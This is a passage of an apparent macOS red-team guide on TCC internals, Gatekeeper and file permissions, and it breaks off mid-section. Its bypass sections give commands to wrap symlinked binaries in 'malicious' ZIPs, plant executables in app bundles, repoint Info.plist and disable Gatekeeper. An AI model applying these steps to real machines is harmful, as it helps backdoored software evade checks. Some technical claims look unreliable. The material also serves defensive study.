<h2 id="how-tcc-works">How TCC Works</h2>

<p>TCC operates by maintaining a database of permissions for each application. When an application requests access to a protected resource for the first time, TCC prompts the user to allow or deny the request. The user’s response is then stored in the TCC database, and future requests by the same application for the same resource are automatically granted or denied based on the stored permission.</p>

<h2 id="internal-workflow-of-tcc">Internal Workflow of TCC</h2>

<ol>
  <li><strong>Permission Request:</strong> When an application tries to access a protected resource, a request is sent to the TCC subsystem.</li>
  <li><strong>User Prompt:</strong> If it is the first time the application is requesting access to the resource, TCC presents a prompt to the user, asking for permission.</li>
  <li><strong>User Decision:</strong> The user can choose to allow or deny access. This decision is recorded in the TCC database.</li>
  <li><strong>Access Control:</strong> Based on the user’s decision, TCC either grants or denies access to the requested resource.</li>
  <li><strong>Database Management:</strong> The TCC database is updated with the user’s decision, ensuring that future requests by the same application for the same resource are handled automatically.</li>
</ol>

<h2 id="detailed-explanation-of-tcc-internals">Detailed Explanation of TCC Internals</h2>

<ul>
  <li><strong>TCC Daemon:</strong> The core component of TCC is the TCCD (Transparency, Consent, and Control Daemon), which manages the TCC database and handles permission requests.</li>
  <li><strong>TCC Database:</strong> The TCC database stores the user’s decisions regarding application permissions. It is a SQLite database located at <code class="language-plaintext highlighter-rouge">/Library/Application Support/com.apple.TCC/TCC.db</code>.</li>
  <li><strong>System Preferences Integration:</strong> Users can manage permissions via the System Preferences app, under Security &amp; Privacy settings.</li>
  <li><strong>Inter-process Communication:</strong> Applications communicate with TCCD using XPC (Cross-Process Communication) to request access to protected resources.</li>
  <li><strong>Audit Logs:</strong> TCC maintains audit logs of permission requests and decisions, which can be used for troubleshooting and security auditing.</li>
</ul>

<h2 id="tcc-protected-services">TCC Protected Services</h2>

<p>TCC controls access to several critical services on macOS:</p>

<table>
  <thead>
    <tr>
      <th>Constant</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>kTCCServiceAccessibility</strong></td>
      <td>Accessibility features</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceAddressBook</strong></td>
      <td>Contacts</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceAppleEvents</strong></td>
      <td>Apple Events</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceCalendar</strong></td>
      <td>Calendars</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceCamera</strong></td>
      <td>Camera</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceFileProviderPresence</strong></td>
      <td>File Provider presence</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceListenEvent</strong></td>
      <td>Listen event</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceMediaLibrary</strong></td>
      <td>Media library</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceMicrophone</strong></td>
      <td>Microphone</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceMotion</strong></td>
      <td>Motion &amp; Fitness</td>
    </tr>
    <tr>
      <td><strong>kTCCServicePhotos</strong></td>
      <td>Photos</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceReminders</strong></td>
      <td>Reminders</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceScreenCapture</strong></td>
      <td>Screen Recording</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSpeechRecognition</strong></td>
      <td>Speech recognition</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyAllFiles</strong></td>
      <td>Full Disk Access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyDesktopFolder</strong></td>
      <td>Desktop folder access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyDocumentsFolder</strong></td>
      <td>Documents folder access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyDownloadsFolder</strong></td>
      <td>Downloads folder access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyNetworkVolumes</strong></td>
      <td>Network volumes access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyRemovableVolumes</strong></td>
      <td>Removable volumes access</td>
    </tr>
  </tbody>
</table>

<h3 id="diagram-of-tcc-workflow">Diagram of TCC Workflow</h3>

<p><img width="691" height="557" alt="image" src="https://github.com/user-attachments/assets/2bccb4c0-9b0f-48f2-b5d3-8b6da67b77d5" /></p>

<h2 id="internals-of-tcc-database">Internals of TCC Database</h2>

<ul>
  <li><strong>Tables and Schema:</strong> The TCC database consists of several tables that store information about applications and their permissions. Key tables include <code class="language-plaintext highlighter-rouge">access</code>, <code class="language-plaintext highlighter-rouge">access_overrides</code>, and <code class="language-plaintext highlighter-rouge">clients</code>.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">access</code>: Stores records of permissions granted or denied for each application and resource.</li>
      <li><code class="language-plaintext highlighter-rouge">access_overrides</code>: Contains records of overridden permissions.</li>
      <li><code class="language-plaintext highlighter-rouge">clients</code>: Maintains a list of applications that have requested permissions.</li>
    </ul>
  </li>
</ul>

<h3 id="example-of-tcc-database-schema">Example of TCC Database Schema</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="k">access</span> <span class="p">(</span>
    <span class="n">service</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client_type</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">allowed</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">prompt_count</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">csreq</span> <span class="nb">BLOB</span><span class="p">,</span>
    <span class="n">policy_id</span> <span class="nb">INTEGER</span><span class="p">,</span>
    <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">service</span><span class="p">,</span> <span class="n">client</span><span class="p">,</span> <span class="n">client_type</span><span class="p">)</span>
<span class="p">);</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">clients</span> <span class="p">(</span>
    <span class="n">client</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client_type</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">csreq</span> <span class="nb">BLOB</span><span class="p">,</span>
    <span class="n">policy_id</span> <span class="nb">INTEGER</span><span class="p">,</span>
    <span class="n">last_seen</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">client_type</span><span class="p">)</span>
<span class="p">);</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">access_overrides</span> <span class="p">(</span>
    <span class="n">service</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client_type</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">auth_value</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">auth_reason</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">auth_version</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="k">CONSTRAINT</span> <span class="n">unique_client_service</span> <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">service</span><span class="p">,</span> <span class="n">client</span><span class="p">,</span> <span class="n">client_type</span><span class="p">)</span>
<span class="p">);</span>
</code></pre></div></div>

<h3 id="example-of-a-permission-request-flow">Example of a Permission Request Flow</h3>

<ol>
  <li><strong>Application Request:</strong> The application initiates a request to access a protected resource (e.g., the camera).</li>
  <li><strong>TCCD Interaction:</strong> The request is sent to the TCCD, which queries the TCC database to check if the application has already been granted or denied access to the resource.</li>
  <li><strong>User Prompt:</strong> If no record exists, the TCCD prompts the user to grant or deny access.</li>
  <li><strong>User Decision:</strong> The user’s decision (grant or deny) is communicated back to the TCCD.</li>
  <li><strong>Database Update:</strong> The TCCD updates the TCC database with the user’s decision.</li>
  <li><strong>Access Control:</strong> The TCCD enforces the user’s decision, either allowing or denying the application’s request.</li>
  <li><strong>Subsequent Requests:</strong> For subsequent requests, the TCCD refers to the TCC database to automatically grant or deny access based on the stored decision.</li>
</ol>

<h3 id="example-of-access-control-flow">Example of Access Control Flow</h3>

<ul>
  <li><strong>New Permission Request:</strong>
    <ul>
      <li>Application requests access to the microphone.</li>
      <li>TCCD checks the <code class="language-plaintext highlighter-rouge">access</code> table in the TCC database.</li>
      <li>No existing permission is found.</li>
      <li>TCCD prompts the user for permission.</li>
      <li>User grants permission.</li>
      <li>TCCD updates the <code class="language-plaintext highlighter-rouge">access</code> table with the new permission.</li>
      <li>TCCD grants access to the application.</li>
    </ul>
  </li>
  <li><strong>Existing Permission Request:</strong>
    <ul>
      <li>Application requests access to the microphone.</li>
      <li>TCCD checks the <code class="language-plaintext highlighter-rouge">access</code> table in the TCC database.</li>
      <li>Existing permission is found (granted).</li>
      <li>TCCD grants access to the application without prompting the user.</li>
    </ul>
  </li>
</ul>

<h2 id="bypass-tcc">Bypass TCC</h2>

<p>As most of the bypasses relays on  vulnerabilities or misconfigurations that have to be exists, These resources will help you understand different ways of bypassing <code class="language-plaintext highlighter-rouge">TCC</code>:</p>

<ul>
  <li>http://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Fitzl-Knockout-Win-Against-TCC.pdf</li>
  <li>https://cyberlibrary.fr/macos-tcc-bypasses</li>
  <li>https://jhftss.github.io/macOS-AUHelperService-Full-TCC-Bypass/</li>
  <li>https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses</li>
  <li>https://wojciechregula.blog/post/macos-red-teaming-bypass-tcc-with-old-apps/</li>
  <li>https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html</li>
  <li>https://medium.com/@rohitc33/cve-2022-32862-bypassing-the-transparency-consent-and-control-tcc-framework-on-macos-292dc6bce244</li>
  <li>https://zeyadazima.com/macos/CVE_2023_26818_P1/</li>
  <li>https://zeyadazima.com/macos/CVE_2023_26818_P2/</li>
</ul>

<h1 id="attacking-gatekeeper">Attacking GateKeeper</h1>

<p>macOS <code class="language-plaintext highlighter-rouge">Gatekeeper</code> is a security feature designed by Apple to protect users from executing potentially malicious software. It plays a crucial role in macOS’s security architecture by controlling which applications can run on the system, particularly those downloaded from the internet. This guide delves into the technical workings of Gatekeeper, its internal mechanisms, how it handles security checks, and the various ways it can be bypassed, along with mitigation strategies.</p>

<h2 id="gatekeepers-core-functionality"><strong>Gatekeeper’s Core Functionality</strong></h2>

<p><code class="language-plaintext highlighter-rouge">Gatekeeper</code> is designed to ensure that only trusted software can be executed on macOS. It achieves this by enforcing several checks on applications, especially those downloaded from the internet. The key components of Gatekeeper’s operation include file quarantine, code signing, and notarization.</p>

<h3 id="file-quarantine"><strong>File Quarantine</strong></h3>

<p>When a file is downloaded from the internet, macOS tags it with a <code class="language-plaintext highlighter-rouge">com.apple.quarantine</code> extended attribute. This attribute indicates that the file needs to undergo security checks before it can be executed. This tagging typically happens when files are downloaded through browsers, email clients, or messaging apps.</p>

<p><strong>Checking Quarantine Attribute</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> xattr <span class="nt">-p</span> com.apple.quarantine /path/to/downloaded/file
</code></pre></div></div>

<p>This command checks if a file has the quarantine attribute.</p>

<p><img width="691" height="265" alt="image" src="https://github.com/user-attachments/assets/0d09f6dc-4db8-4acc-94df-06810f26280e" /></p>

<h3 id="code-signing-and-notarization"><strong>Code Signing and Notarization</strong></h3>

<ul>
  <li><strong>Code Signing:</strong> Before an application can be executed, Gatekeeper verifies the digital signature of the application. The signature ensures that the app has not been tampered with and is from a recognized developer.</li>
  <li><strong>Notarization:</strong> Apple introduced notarization as an additional layer of security. Notarized apps are scanned by Apple’s servers for known malware before they are distributed. Gatekeeper checks for a notarization ticket either stapled to the app or available from Apple’s servers.</li>
</ul>

<p><strong>Verifying a Code Signature</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> codesign <span class="nt">-dv</span> <span class="nt">--verbose</span><span class="o">=</span>4 /path/to/app
</code></pre></div></div>

<p>This command displays detailed information about the code signature of an application.</p>

<p><img width="691" height="407" alt="image" src="https://github.com/user-attachments/assets/638a3f39-933d-460b-95df-0ecda013029e" /></p>

<h2 id="internal-workings-of-gatekeeper"><strong>Internal Workings of Gatekeeper</strong></h2>

<p>Gatekeeper integrates deeply with macOS’s security architecture. It leverages several subsystems to perform its checks:</p>

<h3 id="spctl-security-policy-control"><strong>spctl (Security Policy Control)</strong></h3>
<p>The <code class="language-plaintext highlighter-rouge">spctl</code> tool is the command-line interface to interact with Gatekeeper. It allows administrators to query and modify Gatekeeper’s security policies.</p>

<p><strong>Checking Gatekeeper Status</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> spctl <span class="nt">--status</span>
</code></pre></div></div>

<p>This command returns the current status of Gatekeeper.</p>

<p><strong>Modifying Gatekeeper’s Behavior</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">sudo </span>spctl <span class="nt">--master-disable</span>
</code></pre></div></div>

<p>This command disables Gatekeeper, allowing all applications to run regardless of their source.</p>

<p><img width="691" height="407" alt="image" src="https://github.com/user-attachments/assets/df63a28b-e4ec-4e30-aba2-72e66dc1a24c" /></p>

<h3 id="first-launch-validation"><strong>First Launch Validation</strong></h3>
<p>Gatekeeper’s primary function is to validate an application on its first launch. It checks the app’s digital signature and notarization status, ensuring that the app hasn’t been tampered with and is from an identified developer.</p>

<ul>
  <li><strong>Internal Workflow:</strong>
    <ul>
      <li><strong>Step 1:</strong> User downloads an app, which is tagged with the quarantine attribute.</li>
      <li><strong>Step 2:</strong> Upon first launch, Gatekeeper intercepts the launch and verifies the app’s signature against Apple’s records.</li>
      <li><strong>Step 3:</strong> If the app is notarized, Gatekeeper checks the notarization ticket.</li>
      <li><strong>Step 4:</strong> If all checks pass, the quarantine attribute is removed, and the app is allowed to execute.</li>
    </ul>
  </li>
</ul>

<p><img width="691" height="424" alt="image" src="https://github.com/user-attachments/assets/7d061e98-d0fb-4527-a40e-f5695cd8b563" /></p>

<h3 id="enhanced-security-in-macos-ventura-macos-13"><strong>Enhanced Security in macOS Ventura (macOS 13)</strong></h3>
<p>In macOS Ventura, Gatekeeper’s security checks have been expanded. Now, not only is the app’s integrity checked on the first launch, but Gatekeeper also monitors the app for unauthorized modifications. If an app is altered after its initial launch (e.g., through an update or tampering), Gatekeeper will revalidate its integrity.</p>

<ul>
  <li><strong>Internal Changes:</strong>
    <ul>
      <li><strong>File System Monitoring:</strong> Gatekeeper now tracks changes to app bundles, such as modifications to the executable, resources, or <code class="language-plaintext highlighter-rouge">Info.plist</code> file.</li>
      <li><strong>User Alerts:</strong> If Gatekeeper detects unauthorized changes, it alerts the user and blocks the app from running.</li>
    </ul>
  </li>
</ul>

<p><img width="691" height="375" alt="image" src="https://github.com/user-attachments/assets/b5156ad9-84e1-4fc2-a94e-cf96ac42fd58" /></p>

<h2 id="gatekeeper-bypass">Gatekeeper Bypass</h2>

<p>macOS Gatekeeper is a robust security mechanism designed to protect users from running unverified or potentially harmful software. However, like all security measures, it is not immune to bypass techniques. This section will explore several advanced methods that attackers have used to circumvent Gatekeeper, providing detailed explanations, code examples, and step-by-step guides.</p>

<h2 id="clever-zip-archives"><strong>Clever ZIP Archives</strong></h2>

<p>One of the more straightforward but effective techniques to bypass Gatekeeper is by manipulating the way ZIP archives handle the quarantine attribute. The key idea is to create a ZIP archive that prevents macOS from applying the <code class="language-plaintext highlighter-rouge">com.apple.quarantine</code> attribute correctly.</p>

<ol>
  <li><strong>Crafting the ZIP Archive:</strong>
The attacker can create a ZIP archive with a structure that confuses macOS’s quarantine process. For example, by placing a symlink to the executable inside the ZIP archive rather than the executable itself.</li>
</ol>

<p><strong>Creating a Malicious ZIP Archive</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">ln</span> <span class="nt">-s</span> /path/to/malicious_app /tmp/link_to_app
 zip <span class="nt">-r</span> malicious.zip /tmp/link_to_app
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Download and Extract:</strong>
When the user downloads and extracts the ZIP file, the symlink is followed, and the actual executable is placed in a location where the quarantine attribute is not applied.</p>
  </li>
  <li>
    <p><strong>Execution:</strong>
Since the quarantine attribute is not set, Gatekeeper’s checks are bypassed, and the application can be executed without triggering any security warnings.</p>
  </li>
</ol>

<p><img width="691" height="224" alt="image" src="https://github.com/user-attachments/assets/f1d4b3be-a251-47a1-bd9a-5e2f1399c04f" /></p>

<p>Consider a scenario where an attacker uses this technique to distribute a backdoored version of a legitimate application. When users download and extract the archive, they inadvertently run the malicious application without Gatekeeper intervening.</p>

<h3 id="symlink-attacks"><strong>Symlink Attacks</strong></h3>

<p>Symlink attacks exploit the way macOS handles symbolic links during the quarantine process. By using symlinks, attackers can trick Gatekeeper into executing untrusted or malicious binaries.</p>

<ol>
  <li><strong>Creating the Symlink:</strong>
The attacker creates a symlink pointing to the malicious executable.</li>
</ol>

<p><strong>Creating a Symlink</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">ln</span> <span class="nt">-s</span> /path/to/malicious_binary /path/to/legit_app/Contents/MacOS/app_executable
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Packaging the Symlink:</strong>
The symlink is included in a ZIP archive or distributed as part of a DMG file. The key is that the symlink points to a location outside the quarantine-controlled environment.</p>
  </li>
  <li>
    <p><strong>Execution:</strong>
When the user runs the legitimate-looking app, the symlink directs execution to the malicious binary, bypassing Gatekeeper because the actual executable is not where Gatekeeper expects it to be.</p>
  </li>
</ol>

<p><img width="691" height="223" alt="image" src="https://github.com/user-attachments/assets/c2dcfd06-cb26-4863-8c71-1fbed9889866" /></p>

<p>An attacker could distribute a seemingly benign application with a symlinked executable. When the user opens the application, it executes the linked malicious binary without passing through Gatekeeper’s security checks.</p>

<h3 id="modified-application-bundles"><strong>Modified Application Bundles</strong></h3>

<p>Attackers can inject malicious code into legitimate application bundles. This technique often involves adding or modifying files within the app bundle, which can then be executed without triggering Gatekeeper.</p>

<ol>
  <li><strong>Injecting Malicious Code:</strong>
The attacker modifies an existing application bundle by injecting a malicious script or binary. This could be done by placing a new executable in the <code class="language-plaintext highlighter-rouge">Contents/MacOS</code> directory of the application bundle.</li>
</ol>

<p><strong>Injecting Code</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">echo</span> <span class="s2">"malicious code"</span> <span class="o">&gt;</span> /path/to/legit_app/Contents/MacOS/malicious_executable
 <span class="nb">chmod</span> +x /path/to/legit_app/Contents/MacOS/malicious_executable
</code></pre></div></div>

<ol>
  <li><strong>Modifying the Info.plist:</strong>
    <ul>
      <li>The attacker can also modify the <code class="language-plaintext highlighter-rouge">Info.plist</code> file within the bundle to point to the malicious executable instead of the legitimate one.</li>
    </ul>
  </li>
</ol>

<p><strong>Modifying Info.plist</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt">&lt;key&gt;</span>CFBundleExecutable<span class="nt">&lt;/key&gt;</span>
 <span class="nt">&lt;string&gt;</span>malicious_executable<span class="nt">&lt;/string&gt;</span>
</code></pre></div></div>

<ol>
  <li><strong>Execution:</strong>
When the user opens the app, the modified <code class="language-plaintext highlighter-rouge">Info.plist</code> directs the system to execute the malicious code instead of the original app.</li>
</ol>

<p><img width="691" height="214" alt="image" src="https://github.com/user-attachments/assets/d3ca8155-ae12-45ea-86af-5a878bab13c6" /></p>

<p>An attacker could distribute a legitimate application that has been backdoored with a malicious payload. The user believes they are running the intended application, but the altered <code class="language-plaintext highlighter-rouge">Info.plist</code> ensures that the malicious code is executed instead.</p>

<h3 id="xcsset-malware-attack"><strong>XCSSET Malware Attack</strong></h3>

<p>The XCSSET malware family is known for using advanced techniques to bypass Gatekeeper, including modifying existing app bundles to include malicious payloads.</p>

<ol>
  <li>
    <p><strong>Infecting Xcode Projects:</strong>
XCSSET malware targets Xcode projects by injecting malicious code into them. When the developer builds and runs their project, the malware is included in the resulting app bundle.</p>
  </li>
  <li>
    <p><strong>Spreading the Malware:</strong>
The compromised app, now containing the malware, is distributed as normal. However, when users download and run the app, the malware payload is executed.</p>
  </li>
  <li>
    <p><strong>Modifying Bundle Files:</strong>
The malware modifies critical files within the app bundle, such as the <code class="language-plaintext highlighter-rouge">Info.plist</code> or <code class="language-plaintext highlighter-rouge">binary executable</code>, to ensure the malicious code is executed.</p>
  </li>
</ol>

<p><img width="691" height="213" alt="image" src="https://github.com/user-attachments/assets/e897aa19-b6bf-44dc-97c5-f95a520b3746" /></p>

<h2 id="gatekeeper-bypass-resources">GateKeeper Bypass Resources</h2>

<ul>
  <li>https://www.youtube.com/watch?v=dBIyjQH6E-c</li>
  <li>https://unit42.paloaltonetworks.com/gatekeeper-bypass-macos/</li>
  <li>https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508</li>
  <li>https://redcanary.com/threat-detection-report/techniques/gatekeeper-bypass/</li>
  <li>https://www.jamf.com/blog/gatekeeper-flaws-on-macos/</li>
  <li>https://redcanary.com/blog/threat-detection/gatekeeper/</li>
  <li>https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper</li>
  <li>https://www.idownloadblog.com/2024/08/07/apple-macos-sequoia-gatekeeper-change-install-unsigned-apps-mac/</li>
  <li>https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/</li>
  <li>https://gist.github.com/kennwhite/814ff7ed1fd62b921144035c877c3e4c</li>
  <li>https://antman1p-30185.medium.com/jumping-over-the-gate-da555c075208</li>
  <li>https://jhftss.github.io/CVE-2022-22616-Gatekeeper-Bypass/</li>
  <li>https://breakpoint.sh/posts/bypassing-the-macos-gatekeeper</li>
  <li>https://labs.withsecure.com/publications/analysis-of-cve-2021-1810-gatekeeper-bypass</li>
  <li>https://www.exploit-db.com/exploits/35934</li>
  <li>https://kyle-bailey.medium.com/detecting-macos-gatekeeper-bypass-cve-2021-30657-cc986a9bc751</li>
  <li>https://wojciechregula.blog/post/m1-macs-gatekeeper-bypass-aka-cve-2021-30658/</li>
  <li>https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass</li>
  <li>https://jhftss.github.io</li>
  <li>https://objective-see.org/blog/blog_0x6A.html</li>
  <li>https://s.itho.me/ccms_slides/2024/5/23/d1057739-ea3a-4288-9275-c3c9b0e3d6a8.pdf</li>
  <li>https://conference.hitb.org/hitbsecconf2022sin/materials/D1T1%20-%20One-Click%20to%20Completely%20Takeover%20a%20MacOS%20Device%20-%20Mickey%20Jin.pdf</li>
  <li>https://www.agoratech.eu/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/</li>
  <li>https://www.ampliasecurity.com/blog/2015/01/27/bypassing_os_x_gatekeeper/</li>
  <li>https://packetstormsecurity.com/files/130147/OS-X-Gatekeeper-Bypass.html</li>
</ul>

<h1 id="symlink-and-hardlink-attacks">Symlink and Hardlink Attacks</h1>

<h2 id="filesystem-permission-model">Filesystem Permission Model</h2>

<h3 id="posix-permissions">POSIX Permissions</h3>

<p>macOS uses POSIX file permissions with three permission levels:</p>
<ul>
  <li><strong>Owner</strong> (user)</li>
  <li><strong>Group</strong></li>
  <li><strong>Everyone</strong> (world)</li>
</ul>

<p>Each level has three permission types: <strong>read</strong>, <strong>write</strong>, <strong>execute</strong></p>

<h4 id="file-permissions">File Permissions</h4>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>read</td>
      <td>Read file contents</td>
    </tr>
    <tr>
      <td>write</td>
      <td>Modify file contents</td>
    </tr>
    <tr>
      <td>execute</td>
      <td>Execute file as program</td>
    </tr>
  </tbody>
</table>

<h4 id="directory-permissions">Directory Permissions</h4>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>read</td>
      <td>Enumerate directory entries (list files)</td>
    </tr>
    <tr>
      <td>write</td>
      <td>Create/delete files in directory</td>
    </tr>
    <tr>
      <td>execute</td>
      <td>Traverse directory (access files within)</td>
    </tr>
  </tbody>
</table>

<p><strong>Important Directory Permission Scenarios:</strong></p>

<ol>
  <li><strong>Execute without read</strong>: Can access files if you know the filename, but cannot list directory</li>
  <li><strong>Read without execute</strong>: Can list files but cannot access their contents</li>
  <li><strong>Write permission</strong>: Can delete ANY file in directory regardless of file owner (unless sticky bit is set)</li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Example: Create restricted directory</span>
<span class="nb">mkdir </span>restricted
<span class="nb">echo </span>aaa <span class="o">&gt;</span> restricted/a.txt
<span class="nb">chmod </span><span class="nv">u</span><span class="o">=</span>rwx,g<span class="o">=</span>rwx,o<span class="o">=</span>rwx restricted/a.txt
<span class="nb">chmod </span><span class="nv">u</span><span class="o">=</span>rw,g<span class="o">=</span>rw,o<span class="o">=</span>rw restricted
<span class="nb">cat </span>restricted/a.txt  <span class="c"># Permission denied</span>
</code></pre></div></div>

<h3 id="flag-modifiers">Flag Modifiers</h3>

<h4 id="uchg-uimmutable-flag">uchg (uimmutable) Flag</h4>
<ul>
  <li>File cannot be changed by anyone (including root)</li>
  <li>Root must remove flag before modifying</li>
  <li>Only file owner can change flags</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># List files with flags</span>
<span class="nb">ls</span> <span class="nt">-lO</span> /

<span class="c"># Change flags</span>
chflags <span class="o">[</span>flags] <span class="o">[</span>file]
</code></pre></div></div>

<h4 id="common-flags">Common Flags</h4>

<table>
  <thead>
    <tr>
      <th>Flag</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">uchg</code> / <code class="language-plaintext highlighter-rouge">uimmutable</code></td>
      <td>File cannot be changed</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">restricted</code></td>
      <td>Protected by SIP, only special processes can modify</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hidden</code></td>
      <td>Hidden from Finder by default</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">sunlnk</code></td>
      <td>Directory can be unlinked</td>
    </tr>
  </tbody>
</table>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Example listing</span>
drwxr-xr-x@ 8 root wheel restricted 256 Sep 29 2019 System
drwxr-xr-x@ 38 root wheel restricted,hidden 1216 Sep 29 2019 bin
</code></pre></div></div>

<h3 id="sticky-bit">Sticky Bit</h3>

<p>When set on directory, only file owner, directory owner, or root can rename/delete files.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># /tmp has sticky bit set</span>
drwxrwxrwt  user group  /tmp
</code></pre></div></div>

<p><strong>Effect</strong>: User A creates file in <code class="language-plaintext highlighter-rouge">/tmp</code>, User B cannot delete it even with write access to <code class="language-plaintext highlighter-rouge">/tmp</code></p>

<h3 id="access-control-lists-acls">Access Control Lists (ACLs)</h3>

<p>More granular permissions than POSIX model.</p>

<h4 id="directory-specific-acl-permissions">Directory-Specific ACL Permissions</h4>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">list</code></td>
      <td>List directory entries</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">search</code></td>
      <td>Look up files by name</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">add_file</code></td>
      <td>Add a file</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">add_subdirectory</code></td>
      <td>Add a subdirectory</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">delete_child</code></td>
      <td>Delete contained object</td>
    </tr>
  </tbody>
</table>

<h4 id="file-specific-acl-permissions">File-Specific ACL Permissions</h4>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">read</code></td>
      <td>Open for reading</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">write</code></td>
      <td>Open for writing</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">append</code></td>
      <td>Write to new areas only</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">execute</code></td>
      <td>Execute as script/program</td>
    </tr>
  </tbody>
</table>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># List ACL entries</span>
<span class="nb">ls</span> <span class="nt">-le</span> ~/Library

<span class="c"># Example output</span>
